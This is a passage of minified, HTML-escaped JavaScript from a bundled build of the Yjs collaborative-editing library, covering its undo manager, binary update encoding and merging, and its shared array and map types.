ge;pl(l,r)&amp;&amp;n.emit(&quot;updateV2&quot;,[l.toUint8Array(),r.origin,n,r])}let{subdocsAdded:c,subdocsLoaded:a,subdocsRemoved:u}=r;(c.size&gt;0||u.size&gt;0||a.size&gt;0)&amp;&amp;(c.forEach(l=&gt;{l.clientID=n.clientID,l.collectionid==null&amp;&amp;(l.collectionid=n.collectionid),n.subdocs.add(l)}),u.forEach(l=&gt;n.subdocs.delete(l)),n.emit(&quot;subdocs&quot;,[{loaded:a,added:c,removed:u},n,r]),u.forEach(l=&gt;l.destroy())),t.length&lt;=e+1?(n._transactionCleanups=[],n.emit(&quot;afterAllTransactions&quot;,[n,t])):Ul(t,e+1)}}},D=(t,e,r=null,n=!0)=&gt;{let o=t._transactionCleanups,s=!1,i=null;t._transaction===null&amp;&amp;(s=!0,t._transaction=new co(t,r,n),o.push(t._transaction),o.length===1&amp;&amp;t.emit(&quot;beforeAllTransactions&quot;,[t]),t.emit(&quot;beforeTransaction&quot;,[t._transaction,t]));try{i=e(t._transaction)}finally{if(s){let c=t._transaction===o[0];t._transaction=null,c&amp;&amp;Ul(o,0)}}return i},oi=class{constructor(e,r){this.insertions=r,this.deletions=e,this.meta=new Map}},ml=(t,e,r)=&gt;{Pt(t,r.deletions,n=&gt;{n instanceof k&amp;&amp;e.scope.some(o=&gt;o===t.doc||an(o,n))&amp;&amp;Ci(n,!1)})},yl=(t,e,r)=&gt;{let n=null,o=t.doc,s=t.scope;D(o,c=&gt;{for(;e.length&gt;0&amp;&amp;t.currStackItem===null;){let a=o.store,u=e.pop(),l=new Set,d=[],f=!1;Pt(c,u.insertions,h=&gt;{if(h instanceof k){if(h.redone!==null){let{item:p,diff:g}=ii(a,h.id);g&gt;0&amp;&amp;(p=ne(c,R(p.id.client,p.id.clock+g))),h=p}!h.deleted&amp;&amp;s.some(p=&gt;p===c.doc||an(p,h))&amp;&amp;d.push(h)}}),Pt(c,u.deletions,h=&gt;{h instanceof k&amp;&amp;s.some(p=&gt;p===c.doc||an(p,h))&amp;&amp;!Ht(u.insertions,h.id)&amp;&amp;l.add(h)}),l.forEach(h=&gt;{f=iu(c,h,l,u.insertions,t.ignoreRemoteMapChanges,t)!==null||f});for(let h=d.length-1;h&gt;=0;h--){let p=d[h];t.deleteFilter(p)&amp;&amp;(p.delete(c),f=!0)}t.currStackItem=f?u:null}c.changed.forEach((a,u)=&gt;{a.has(null)&amp;&amp;u._searchMarker&amp;&amp;(u._searchMarker.length=0)}),n=c},t);let i=t.currStackItem;if(i!=null){let c=n.changedParentTypes;t.emit(&quot;stack-item-popped&quot;,[{stackItem:i,type:r,changedParentTypes:c,origin:t},t]),t.currStackItem=null}return i},Vt=class extends rt{constructor(e,{captureTimeout:r=500,captureTransaction:n=a=&gt;!0,deleteFilter:o=()=&gt;!0,trackedOrigins:s=new Set([null]),ignoreRemoteMapChanges:i=!1,doc:c=xt(e)?e[0].doc:e instanceof Me?e:e.doc}={}){super(),this.scope=[],this.doc=c,this.addToScope(e),this.deleteFilter=o,s.add(this),this.trackedOrigins=s,this.captureTransaction=n,this.undoStack=[],this.redoStack=[],this.undoing=!1,this.redoing=!1,this.currStackItem=null,this.lastChange=0,this.ignoreRemoteMapChanges=i,this.captureTimeout=r,this.afterTransactionHandler=a=&gt;{if(!this.captureTransaction(a)||!this.scope.some(m=&gt;a.changedParentTypes.has(m)||m===this.doc)||!this.trackedOrigins.has(a.origin)&amp;&amp;(!a.origin||!this.trackedOrigins.has(a.origin.constructor)))return;let u=this.undoing,l=this.redoing,d=u?this.redoStack:this.undoStack;u?this.stopCapturing():l||this.clear(!1,!0);let f=new ut;a.afterState.forEach((m,y)=&gt;{let E=a.beforeState.get(y)||0,_=m-E;_&gt;0&amp;&amp;cn(f,y,E,_)});let h=it(),p=!1;if(this.lastChange&gt;0&amp;&amp;h-this.lastChange&lt;this.captureTimeout&amp;&amp;d.length&gt;0&amp;&amp;!u&amp;&amp;!l){let m=d[d.length-1];m.deletions=Mt([m.deletions,a.deleteSet]),m.insertions=Mt([m.insertions,f])}else d.push(new oi(a.deleteSet,f)),p=!0;!u&amp;&amp;!l&amp;&amp;(this.lastChange=h),Pt(a,a.deleteSet,m=&gt;{m instanceof k&amp;&amp;this.scope.some(y=&gt;y===a.doc||an(y,m))&amp;&amp;Ci(m,!0)});let g=[{stackItem:d[d.length-1],origin:a.origin,type:u?&quot;redo&quot;:&quot;undo&quot;,changedParentTypes:a.changedParentTypes},this];p?this.emit(&quot;stack-item-added&quot;,g):this.emit(&quot;stack-item-updated&quot;,g)},this.doc.on(&quot;afterTransaction&quot;,this.afterTransactionHandler),this.doc.on(&quot;destroy&quot;,()=&gt;{this.destroy()})}addToScope(e){let r=new Set(this.scope);e=xt(e)?e:[e],e.forEach(n=&gt;{r.has(n)||(r.add(n),(n instanceof F?n.doc!==this.doc:n!==this.doc)&amp;&amp;Js(&quot;[yjs#509] Not same Y.Doc&quot;),this.scope.push(n))})}addTrackedOrigin(e){this.trackedOrigins.add(e)}removeTrackedOrigin(e){this.trackedOrigins.delete(e)}clear(e=!0,r=!0){(e&amp;&amp;this.canUndo()||r&amp;&amp;this.canRedo())&amp;&amp;this.doc.transact(n=&gt;{e&amp;&amp;(this.undoStack.forEach(o=&gt;ml(n,this,o)),this.undoStack=[]),r&amp;&amp;(this.redoStack.forEach(o=&gt;ml(n,this,o)),this.redoStack=[]),this.emit(&quot;stack-cleared&quot;,[{undoStackCleared:e,redoStackCleared:r}])})}stopCapturing(){this.lastChange=0}undo(){this.undoing=!0;let e;try{e=yl(this,this.undoStack,&quot;undo&quot;)}finally{this.undoing=!1}return e}redo(){this.redoing=!0;let e;try{e=yl(this,this.redoStack,&quot;redo&quot;)}finally{this.redoing=!1}return e}canUndo(){return this.undoStack.length&gt;0}canRedo(){return this.redoStack.length&gt;0}destroy(){this.trackedOrigins.delete(this),this.doc.off(&quot;afterTransaction&quot;,this.afterTransactionHandler),super.destroy()}};function*kg(t){let e=T(t.restDecoder);for(let r=0;r&lt;e;r++){let n=T(t.restDecoder),o=t.readClient(),s=T(t.restDecoder);for(let i=0;i&lt;n;i++){let c=t.readInfo();if(c===10){let a=T(t.restDecoder);yield new X(R(o,s),a),s+=a}else if((31&amp;c)!==0){let a=(c&amp;192)===0,u=new k(R(o,s),null,(c&amp;128)===128?t.readLeftID():null,null,(c&amp;64)===64?t.readRightID():null,a?t.readParentInfo()?t.readString():t.readLeftID():null,a&amp;&amp;(c&amp;32)===32?t.readString():null,cu(t,c));yield u,s+=u.length}else{let a=t.readLen();yield new oe(R(o,s),a),s+=a}}}}var Ve=class{constructor(e,r){this.gen=kg(e),this.curr=null,this.done=!1,this.filterSkips=r,this.next()}next(){do this.curr=this.gen.next().value||null;while(this.filterSkips&amp;&amp;this.curr!==null&amp;&amp;this.curr.constructor===X);return this.curr}},Og=t=&gt;Ll(t,he),Ll=(t,e=ae)=&gt;{let r=[],n=new e(G(t)),o=new Ve(n,!1);for(let i=o.curr;i!==null;i=o.next())r.push(i);Qn(&quot;Structs: &quot;,r);let s=ze(n);Qn(&quot;DeleteSet: &quot;,s)},Ug=t=&gt;Pl(t,he),Pl=(t,e=ae)=&gt;{let r=[],n=new e(G(t)),o=new Ve(n,!1);for(let s=o.curr;s!==null;s=o.next())r.push(s);return{structs:r,ds:ze(n)}},un=class{constructor(e){this.currClient=0,this.startClock=0,this.written=0,this.encoder=e,this.clientStructs=[]}},Ml=t=&gt;Bt(t,he,Ne),Nl=(t,e=wr,r=ae)=&gt;{let n=new e,o=new Ve(new r(G(t)),!1),s=o.curr;if(s!==null){let i=0,c=s.id.client,a=s.id.clock!==0,u=a?0:s.id.clock+s.length;for(;s!==null;s=o.next())c!==s.id.client&amp;&amp;(u!==0&amp;&amp;(i++,v(n.restEncoder,c),v(n.restEncoder,u)),c=s.id.client,u=0,a=s.id.clock!==0),s.constructor===X&amp;&amp;(a=!0),a||(u=s.id.clock+s.length);u!==0&amp;&amp;(i++,v(n.restEncoder,c),v(n.restEncoder,u));let l=Ce();return v(l,i),Oa(l,n.restEncoder),n.restEncoder=l,n.toUint8Array()}else return v(n.restEncoder,0),n.toUint8Array()},Lg=t=&gt;Nl(t,dt,he),Vl=(t,e=ae)=&gt;{let r=new Map,n=new Map,o=new Ve(new e(G(t)),!1),s=o.curr;if(s!==null){let i=s.id.client,c=s.id.clock;for(r.set(i,c);s!==null;s=o.next())i!==s.id.client&amp;&amp;(n.set(i,c),r.set(s.id.client,s.id.clock),i=s.id.client),c=s.id.clock+s.length;n.set(i,c)}return{from:r,to:n}},Pg=t=&gt;Vl(t,he),Mg=(t,e)=&gt;{if(t.constructor===oe){let{client:r,clock:n}=t.id;return new oe(R(r,n+e),t.length-e)}else if(t.constructor===X){let{client:r,clock:n}=t.id;return new X(R(r,n+e),t.length-e)}else{let r=t,{client:n,clock:o}=r.id;return new k(R(n,o+e),null,R(n,o+e-1),null,r.rightOrigin,r.parent,r.parentSub,r.content.splice(e))}},Bt=(t,e=ae,r=ge)=&gt;{if(t.length===1)return t[0];let n=t.map(l=&gt;new e(G(l))),o=n.map(l=&gt;new Ve(l,!0)),s=null,i=new r,c=new un(i);for(;o=o.filter(f=&gt;f.curr!==null),o.sort((f,h)=&gt;{if(f.curr.id.client===h.curr.id.client){let p=f.curr.id.clock-h.curr.id.clock;return p===0?f.curr.constructor===h.curr.constructor?0:f.curr.constructor===X?1:-1:p}else return h.curr.id.client-f.curr.id.client}),o.length!==0;){let l=o[0],d=l.curr.id.client;if(s!==null){let f=l.curr,h=!1;for(;f!==null&amp;&amp;f.id.clock+f.length&lt;=s.struct.id.clock+s.struct.length&amp;&amp;f.id.client&gt;=s.struct.id.client;)f=l.next(),h=!0;if(f===null||f.id.client!==d||h&amp;&amp;f.id.clock&gt;s.struct.id.clock+s.struct.length)continue;if(d!==s.struct.id.client)at(c,s.struct,s.offset),s={struct:f,offset:0},l.next();else if(s.struct.id.clock+s.struct.length&lt;f.id.clock)if(s.struct.constructor===X)s.struct.length=f.id.clock+f.length-s.struct.id.clock;else{at(c,s.struct,s.offset);let p=f.id.clock-s.struct.id.clock-s.struct.length;s={struct:new X(R(d,s.struct.id.clock+s.struct.length),p),offset:0}}else{let p=s.struct.id.clock+s.struct.length-f.id.clock;p&gt;0&amp;&amp;(s.struct.constructor===X?s.struct.length-=p:f=Mg(f,p)),s.struct.mergeWith(f)||(at(c,s.struct,s.offset),s={struct:f,offset:0},l.next())}}else s={struct:l.curr,offset:0},l.next();for(let f=l.curr;f!==null&amp;&amp;f.id.client===d&amp;&amp;f.id.clock===s.struct.id.clock+s.struct.length&amp;&amp;f.constructor!==X;f=l.next())at(c,s.struct,s.offset),s={struct:f,offset:0}}s!==null&amp;&amp;(at(c,s.struct,s.offset),s=null),_i(c);let a=n.map(l=&gt;ze(l)),u=Mt(a);return Pe(i,u),i.toUint8Array()},wi=(t,e,r=ae,n=ge)=&gt;{let o=pi(e),s=new n,i=new un(s),c=new r(G(t)),a=new Ve(c,!1);for(;a.curr;){let l=a.curr,d=l.id.client,f=o.get(d)||0;if(a.curr.constructor===X){a.next();continue}if(l.id.clock+l.length&gt;f)for(at(i,l,Ge(f-l.id.clock,0)),a.next();a.curr&amp;&amp;a.curr.id.client===d;)at(i,a.curr,0),a.next();else for(;a.curr&amp;&amp;a.curr.id.client===d&amp;&amp;a.curr.id.clock+a.curr.length&lt;=f;)a.next()}_i(i);let u=ze(c);return Pe(s,u),s.toUint8Array()},Ng=(t,e)=&gt;wi(t,e,he,Ne),Bl=t=&gt;{t.written&gt;0&amp;&amp;(t.clientStructs.push({written:t.written,restEncoder:re(t.encoder.restEncoder)}),t.encoder.restEncoder=Ce(),t.written=0)},at=(t,e,r)=&gt;{t.written&gt;0&amp;&amp;t.currClient!==e.id.client&amp;&amp;Bl(t),t.written===0&amp;&amp;(t.currClient=e.id.client,t.encoder.writeClient(e.id.client),v(t.encoder.restEncoder,e.id.clock+r)),e.write(t.encoder,r),t.written++},_i=t=&gt;{Bl(t);let e=t.encoder.restEncoder;v(e,t.clientStructs.length);for(let r=0;r&lt;t.clientStructs.length;r++){let n=t.clientStructs[r];v(e,n.written),hr(e,n.restEncoder)}},Eo=(t,e,r,n)=&gt;{let o=new r(G(t)),s=new Ve(o,!1),i=new n,c=new un(i);for(let u=s.curr;u!==null;u=s.next())at(c,e(u),0);_i(c);let a=ze(o);return Pe(i,a),i.toUint8Array()},jl=({formatting:t=!0,subdocs:e=!0,yxml:r=!0}={})=&gt;{let n=0,o=V(),s=V(),i=V(),c=V();return c.set(null,null),a=&gt;{switch(a.constructor){case oe:case X:return a;case k:{let u=a,l=u.content;switch(l.constructor){case vr:break;case we:{if(r){let d=l.type;d instanceof $t&amp;&amp;(d.nodeName=K(s,d.nodeName,()=&gt;&quot;node-&quot;+n)),d instanceof pn&amp;&amp;(d.hookName=K(s,d.hookName,()=&gt;&quot;hook-&quot;+n))}break}case ft:{let d=l;d.arr=d.arr.map(()=&gt;n);break}case zt:{let d=l;d.content=new Uint8Array([n]);break}case Kt:{let d=l;e&amp;&amp;(d.opts={},d.doc.guid=n+&quot;&quot;);break}case Ke:{let d=l;d.embed={};break}case Y:{let d=l;t&amp;&amp;(d.key=K(i,d.key,()=&gt;n+&quot;&quot;),d.value=K(c,d.value,()=&gt;({i:n})));break}case gn:{let d=l;d.arr=d.arr.map(()=&gt;n);break}case Te:{let d=l;d.str=xa(n%10+&quot;&quot;,d.str.length);break}default:ce()}return u.parentSub&amp;&amp;(u.parentSub=K(o,u.parentSub,()=&gt;n+&quot;&quot;)),n++,a}default:ce()}}},Vg=(t,e)=&gt;Eo(t,jl(e),he,Ne),Bg=(t,e)=&gt;Eo(t,jl(e),ae,ge),jg=t=&gt;Eo(t,js,he,ge),Fl=t=&gt;Eo(t,js,ae,Ne),El=&quot;You must not compute changes after the event-handler fired.&quot;,jt=class{constructor(e,r){this.target=e,this.currentTarget=e,this.transaction=r,this._changes=null,this._keys=null,this._delta=null,this._path=null}get path(){return this._path||(this._path=Fg(this.currentTarget,this.target))}deletes(e){return Ht(this.transaction.deleteSet,e.id)}get keys(){if(this._keys===null){if(this.transaction.doc._transactionCleanups.length===0)throw ke(El);let e=new Map,r=this.target;this.transaction.changed.get(r).forEach(o=&gt;{if(o!==null){let s=r._map.get(o),i,c;if(this.adds(s)){let a=s.left;for(;a!==null&amp;&amp;this.adds(a);)a=a.left;if(this.deletes(s))if(a!==null&amp;&amp;this.deletes(a))i=&quot;delete&quot;,c=zn(a.content.getContent());else return;else a!==null&amp;&amp;this.deletes(a)?(i=&quot;update&quot;,c=zn(a.content.getContent())):(i=&quot;add&quot;,c=void 0)}else if(this.deletes(s))i=&quot;delete&quot;,c=zn(s.content.getContent());else return;e.set(o,{action:i,oldValue:c})}}),this._keys=e}return this._keys}get delta(){return this.changes.delta}adds(e){return e.id.clock&gt;=(this.transaction.beforeState.get(e.id.client)||0)}get changes(){let e=this._changes;if(e===null){if(this.transaction.doc._transactionCleanups.length===0)throw ke(El);let r=this.target,n=De(),o=De(),s=[];if(e={added:n,deleted:o,delta:s,keys:this.keys},this.transaction.changed.get(r).has(null)){let c=null,a=()=&gt;{c&amp;&amp;s.push(c)};for(let u=r._start;u!==null;u=u.right)u.deleted?this.deletes(u)&amp;&amp;!this.adds(u)&amp;&amp;((c===null||c.delete===void 0)&amp;&amp;(a(),c={delete:0}),c.delete+=u.length,o.add(u)):this.adds(u)?((c===null||c.insert===void 0)&amp;&amp;(a(),c={insert:[]}),c.insert=c.insert.concat(u.content.getContent()),n.add(u)):((c===null||c.retain===void 0)&amp;&amp;(a(),c={retain:0}),c.retain+=u.length);c!==null&amp;&amp;c.retain===void 0&amp;&amp;a()}this._changes=e}return e}},Fg=(t,e)=&gt;{let r=[];for(;e._item!==null&amp;&amp;e!==t;){if(e._item.parentSub!==null)r.unshift(e._item.parentSub);else{let n=0,o=e._item.parent._start;for(;o!==e._item&amp;&amp;o!==null;)!o.deleted&amp;&amp;o.countable&amp;&amp;(n+=o.length),o=o.right;r.unshift(n)}e=e._item.parent}return r},Z=()=&gt;{Js(&quot;Invalid access: Add Yjs type to a document before reading data.&quot;)},Yl=80,Si=0,si=class{constructor(e,r){e.marker=!0,this.p=e,this.index=r,this.timestamp=Si++}},Yg=t=&gt;{t.timestamp=Si++},Gl=(t,e,r)=&gt;{t.p.marker=!1,t.p=e,e.marker=!0,t.index=r,t.timestamp=Si++},Gg=(t,e,r)=&gt;{if(t.length&gt;=Yl){let n=t.reduce((o,s)=&gt;o.timestamp&lt;s.timestamp?o:s);return Gl(n,e,r),n}else{let n=new si(e,r);return t.push(n),n}},wo=(t,e)=&gt;{if(t._start===null||e===0||t._searchMarker===null)return null;let r=t._searchMarker.length===0?null:t._searchMarker.reduce((s,i)=&gt;ir(e-s.index)&lt;ir(e-i.index)?s:i),n=t._start,o=0;for(r!==null&amp;&amp;(n=r.p,o=r.index,Yg(r));n.right!==null&amp;&amp;o&lt;e;){if(!n.deleted&amp;&amp;n.countable){if(e&lt;o+n.length)break;o+=n.length}n=n.right}for(;n.left!==null&amp;&amp;o&gt;e;)n=n.left,!n.deleted&amp;&amp;n.countable&amp;&amp;(o-=n.length);for(;n.left!==null&amp;&amp;n.left.id.client===n.id.client&amp;&amp;n.left.id.clock+n.left.length===n.id.clock;)n=n.left,!n.deleted&amp;&amp;n.countable&amp;&amp;(o-=n.length);return r!==null&amp;&amp;ir(r.index-o)&lt;n.parent.length/Yl?(Gl(r,n,o),r):Gg(t._searchMarker,n,o)},dn=(t,e,r)=&gt;{for(let n=t.length-1;n&gt;=0;n--){let o=t[n];if(r&gt;0){let s=o.p;for(s.marker=!1;s&amp;&amp;(s.deleted||!s.countable);)s=s.left,s&amp;&amp;!s.deleted&amp;&amp;s.countable&amp;&amp;(o.index-=s.length);if(s===null||s.marker===!0){t.splice(n,1);continue}o.p=s,s.marker=!0}(e&lt;o.index||r&gt;0&amp;&amp;e===o.index)&amp;&amp;(o.index=Ge(e,o.index+r))}},$g=t=&gt;{t.doc??Z();let e=t._start,r=[];for(;e;)r.push(e),e=e.right;return r},_o=(t,e,r)=&gt;{let n=t,o=e.changedParentTypes;for(;K(o,t,()=&gt;[]).push(r),t._item!==null;)t=t._item.parent;Tl(n._eH,r,e)},F=class{constructor(){this._item=null,this._map=new Map,this._start=null,this.doc=null,this._length=0,this._eH=ll(),this._dEH=ll(),this._searchMarker=null}get parent(){return this._item?this._item.parent:null}_integrate(e,r){this.doc=e,this._item=r}_copy(){throw Re()}clone(){throw Re()}_write(e){}get _first(){let e=this._start;for(;e!==null&amp;&amp;e.deleted;)e=e.right;return e}_callObserver(e,r){!e.local&amp;&amp;this._searchMarker&amp;&amp;(this._searchMarker.length=0)}observe(e){ul(this._eH,e)}observeDeep(e){ul(this._dEH,e)}unobserve(e){dl(this._eH,e)}unobserveDeep(e){dl(this._dEH,e)}toJSON(){}},$l=(t,e,r)=&gt;{t.doc??Z(),e&lt;0&amp;&amp;(e=t._length+e),r&lt;0&amp;&amp;(r=t._length+r);let n=r-e,o=[],s=t._start;for(;s!==null&amp;&amp;n&gt;0;){if(s.countable&amp;&amp;!s.deleted){let i=s.content.getContent();if(i.length&lt;=e)e-=i.length;else{for(let c=e;c&lt;i.length&amp;&amp;n&gt;0;c++)o.push(i[c]),n--;e=0}}s=s.right}return o},zl=t=&gt;{t.doc??Z();let e=[],r=t._start;for(;r!==null;){if(r.countable&amp;&amp;!r.deleted){let n=r.content.getContent();for(let o=0;o&lt;n.length;o++)e.push(n[o])}r=r.right}return e},zg=(t,e)=&gt;{let r=[],n=t._start;for(;n!==null;){if(n.countable&amp;&amp;ct(n,e)){let o=n.content.getContent();for(let s=0;s&lt;o.length;s++)r.push(o[s])}n=n.right}return r},fn=(t,e)=&gt;{let r=0,n=t._start;for(t.doc??Z();n!==null;){if(n.countable&amp;&amp;!n.deleted){let o=n.content.getContent();for(let s=0;s&lt;o.length;s++)e(o[s],r++,t)}n=n.right}},Kl=(t,e)=&gt;{let r=[];return fn(t,(n,o)=&gt;{r.push(e(n,o,t))}),r},Kg=t=&gt;{let e=t._start,r=null,n=0;return{[Symbol.iterator](){return this},next:()=&gt;{if(r===null){for(;e!==null&amp;&amp;e.deleted;)e=e.right;if(e===null)return{done:!0,value:void 0};r=e.content.getContent(),n=0,e=e.right}let o=r[n++];return r.length&lt;=n&amp;&amp;(r=null),{done:!1,value:o}}}},Hl=(t,e)=&gt;{t.doc??Z();let r=wo(t,e),n=t._start;for(r!==null&amp;&amp;(n=r.p,e-=r.index);n!==null;n=n.right)if(!n.deleted&amp;&amp;n.countable){if(e&lt;n.length)return n.content.getContent()[e];e-=n.length}},ao=(t,e,r,n)=&gt;{let o=r,s=t.doc,i=s.clientID,c=s.store,a=r===null?e._start:r.right,u=[],l=()=&gt;{u.length&gt;0&amp;&amp;(o=new k(R(i,L(c,i)),o,o&amp;&amp;o.lastId,a,a&amp;&amp;a.id,e,null,new ft(u)),o.integrate(t,0),u=[])};n.forEach(d=&gt;{if(d===null)u.push(d);else switch(d.constructor){case Number:case Object:case Boolean:case Array:case String:u.push(d);break;default:switch(l(),d.constructor){case Uint8Array:case ArrayBuffer:o=new k(R(i,L(c,i)),o,o&amp;&amp;o.lastId,a,a&amp;&amp;a.id,e,null,new zt(new Uint8Array(d))),o.integrate(t,0);break;case Me:o=new k(R(i,L(c,i)),o,o&amp;&amp;o.lastId,a,a&amp;&amp;a.id,e,null,new Kt(d)),o.integrate(t,0);break;default:if(d instanceof F)o=new k(R(i,L(c,i)),o,o&amp;&amp;o.lastId,a,a&amp;&amp;a.id,e,null,new we(d)),o.integrate(t,0);else throw new Error(&quot;Unexpected content type in insert operation&quot;)}}}),l()},ql=()=&gt;ke(&quot;Length exceeded!&quot;),Wl=(t,e,r,n)=&gt;{if(r&gt;e._length)throw ql();if(r===0)return e._searchMarker&amp;&amp;dn(e._searchMarker,r,n.length),ao(t,e,null,n);let o=r,s=wo(e,r),i=e._start;for(s!==null&amp;&amp;(i=s.p,r-=s.index,r===0&amp;&amp;(i=i.prev,r+=i&amp;&amp;i.countable&amp;&amp;!i.deleted?i.length:0));i!==null;i=i.right)if(!i.deleted&amp;&amp;i.countable){if(r&lt;=i.length){r&lt;i.length&amp;&amp;ne(t,R(i.id.client,i.id.clock+r));break}r-=i.length}return e._searchMarker&amp;&amp;dn(e._searchMarker,o,n.length),ao(t,e,i,n)},Hg=(t,e,r)=&gt;{let o=(e._searchMarker||[]).reduce((s,i)=&gt;i.index&gt;s.index?i:s,{index:0,p:e._start}).p;if(o)for(;o.right;)o=o.right;return ao(t,e,o,r)},Jl=(t,e,r,n)=&gt;{if(n===0)return;let o=r,s=n,i=wo(e,r),c=e._start;for(i!==null&amp;&amp;(c=i.p,r-=i.index);c!==null&amp;&amp;r&gt;0;c=c.right)!c.deleted&amp;&amp;c.countable&amp;&amp;(r&lt;c.length&amp;&amp;ne(t,R(c.id.client,c.id.clock+r)),r-=c.length);for(;n&gt;0&amp;&amp;c!==null;)c.deleted||(n&lt;c.length&amp;&amp;ne(t,R(c.id.client,c.id.clock+n)),c.delete(t),n-=c.length),c=c.right;if(n&gt;0)throw ql();e._searchMarker&amp;&amp;dn(e._searchMarker,o,-s+n)},lo=(t,e,r)=&gt;{let n=e._map.get(r);n!==void 0&amp;&amp;n.delete(t)},bi=(t,e,r,n)=&gt;{let o=e._map.get(r)||null,s=t.doc,i=s.clientID,c;if(n==null)c=new ft([n]);else switch(n.constructor){case Number:case Object:case Boolean:case Array:case String:case Date:case BigInt:c=new ft([n]);break;case Uint8Array:c=new zt(n);break;case Me:c=new Kt(n);break;default:if(n instanceof F)c=new we(n);else throw new Error(&quot;Unexpected content type&quot;)}new k(R(i,L(s.store,i)),o,o&amp;&amp;o.lastId,null,null,e,r,c).integrate(t,0)},vi=(t,e)=&gt;{t.doc??Z();let r=t._map.get(e);return r!==void 0&amp;&amp;!r.deleted?r.content.getContent()[r.length-1]:void 0},Ql=t=&gt;{let e={};return t.doc??Z(),t._map.forEach((r,n)=&gt;{r.deleted||(e[n]=r.content.getContent()[r.length-1])}),e},Xl=(t,e)=&gt;{t.doc??Z();let r=t._map.get(e);return r!==void 0&amp;&amp;!r.deleted},qg=(t,e,r)=&gt;{let n=t._map.get(e)||null;for(;n!==null&amp;&amp;(!r.sv.has(n.id.client)||n.id.clock&gt;=(r.sv.get(n.id.client)||0));)n=n.left;return n!==null&amp;&amp;ct(n,r)?n.content.getContent()[n.length-1]:void 0},Zl=(t,e)=&gt;{let r={};return t._map.forEach((n,o)=&gt;{let s=n;for(;s!==null&amp;&amp;(!e.sv.has(s.id.client)||s.id.clock&gt;=(e.sv.get(s.id.client)||0));)s=s.left;s!==null&amp;&amp;ct(s,e)&amp;&amp;(r[o]=s.content.getContent()[s.length-1])}),r},eo=t=&gt;(t.doc??Z(),sl(t._map.entries(),e=&gt;!e[1].deleted)),uo=class extends jt{},Ft=class t extends F{constructor(){super(),this._prelimContent=[],this._searchMarker=[]}static from(e){let r=new t;return r.push(e),r}_integrate(e,r){super._integrate(e,r),this.insert(0,this._prelimContent),this._prelimContent=null}_copy(){return new t}clone(){let e=new t;return e.insert(0,this.toArray().map(r=&gt;r instanceof F?r.clone():r)),e}get length(){return this.doc??Z(),this._length}_callObserver(e,r){super._callObserver(e,r),_o(this,e,new uo(this,e))}insert(e,r){this.doc!==null?D(this.doc,n=&gt;{Wl(n,this,e,r)}):this._prelimContent.splice(e,0,...r)}push(e){this.doc!==null?D(this.doc,r=&gt;{Hg(r,this,e)}):this._prelimContent.push(...e)}unshift(e){this.insert(0,e)}delete(e,r=1){this.doc!==null?D(this.doc,n=&gt;{Jl(n,this,e,r)}):this._prelimContent.splice(e,r)}get(e){return Hl(this,e)}toArray(){return zl(this)}slice(e=0,r=this.length){return $l(this,e,r)}toJSON(){return this.map(e=&gt;e instanceof F?e.toJSON():e)}map(e){return Kl(this,e)}forEach(e){fn(this,e)}[Symbol.iterator](){return Kg(this)}_write(e){e.writeTypeRef(gm)}},Wg=t=&gt;new Ft,fo=class extends jt{constructor(e,r,n){super(e,r),this.keysChanged=n}},Yt=class t extends F{constructor(e){super(),this._prelimContent=null,e===void 0?this._prelimContent=new Map:this._prelimContent=new Map(e)}_integrate(e,r){super._integrate(e,r),this._prelimContent.forEach((n,o)=&gt;{this.set(o,n)}),this._prelimContent=null}_copy(){return new t}clone(){let e=new t;return this.forEach((r,n)=&gt;{e.set(n,r instanceof F?r.clone():r)}),e}_callObserver(e,r){_o(this,e,new fo(this,e,r))}toJSON(){this.doc??Z();let e={};return this._map.forEach((r,n)=&gt;{if(!r.deleted){let o=r.content.getContent()[r.length-1];e[n]=o instanceof F?o.toJSON():o}}),e}get size(){return[...eo(this)].length}keys(){return Xn(eo(this),e=&gt;e[0])}values(){return Xn(eo(this),e=&gt;e[1].content.getContent()[e[1].length-1])}entries(){return Xn(eo(this),e=&gt;[e[0],e[1].content.getContent()[e[1].length-1]])}forEach(e){this.doc??Z(),this._map.forEach((r,n)=&gt;{r.deleted||e(r.content.getContent()[r.length-1],n,this)})}[Symbol.iterator](){return this.entries()}delete(e){this.doc!==null?D(this.doc,r=&gt;{lo(r,this,e)}):this._prelimContent.delete(e)}set(e,r){return this.doc!==null?D(this.doc,n=&gt;{bi(n,this,e,r)}):this._prelimContent.set(e,r),r}get(e){return vi(this,e)}has(e){return Xl(this,e)}clear(){this.doc!==null?D(this.doc,e=&gt;{this.forEach(function(r,n,o){lo(e,o,n)})}):this._prelimContent.clear()}_write(e){e.writeTypeRef(mm)}},Jg=t=&gt;new Yt,lt=(t,e)=&gt;t===e||typeof t==&quot;object&quot;&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;t&amp;&amp;e&amp;&amp;Vs(t,e),hn=class{constructor(e,r,n,o){this.left=e,this.right=r,this.index=n,this.currentAttributes=o}forward(){this.right===null&amp;&amp;ce(),this.right.content.constructor===Y?this.right.deleted||Cr(this.currentAttributes,this.right.content):this.right.deleted||(this.index+=this.right.length),this.left=this.right,this.right=this.right.right}},wl=(t,e,r)=&gt;{for(;e.right!==null&amp;&amp;r&gt;0;)e.right.content.constructor===Y?e.right.deleted||Cr(e.currentAttributes,e.right.content):e.right.deleted||(r&lt;e.right.length&amp;&amp;ne(t,R(e.right.id.client,e.right.id.clock+r)),e.index+=e.right.length,r-=e.right.length),e.left=e.right,e.right=e.right.right;return e},to=(t,e,r,n)=&gt;{let o=new Map,s=n?wo(e,r):null;if(s){let i=new hn(s.p.left,s.p,s.index,o);return wl(t,i,r-s.index)}else{let i=new hn(null,e._start,0,o);return wl(t,i,r)}},eu=(t,e,r,n)=&gt;{for(;r.right!==null&amp;&amp;(r.right.deleted===!0||r.right.content.constructor===Y&amp;&amp;lt(n.get(r.right.content.key),r.right.content.value));)r.right.deleted||n.delete(r.right.content.key),r.forward();let o=t.doc,s=o.clientID;n.forEach((i,c)=&gt;{let a=r.left,u=r.right,l=new k(R(s,L(o.store,s)),a,a&amp;&amp;a.lastId,u,u&amp;&amp;u.id,e,null,new Y(c,i));l.integrate(t,0),r.right=l,r.forward()})},Cr=(t,e)=&gt;{let{key:r,value:n}=e;n===null?t.delete(r):t.set(r,n)},tu=(t,e)=&gt;{for(;t.right!==null;){if(!(t.right.deleted||t.right.content.constructor===Y&amp;&amp;lt(e[t.right.content.key]??null,t.right.content.value)))break;t.forward()}},ru=(t,e,r,n)=&gt;{let o=t.doc,s=o.clientID,i=new Map;for(let c in n){let a=n[c],u=r.currentAttributes.get(c)??null;if(!lt(u,a)){i.set(c,u);let{left:l,right:d}=r;r.right=new 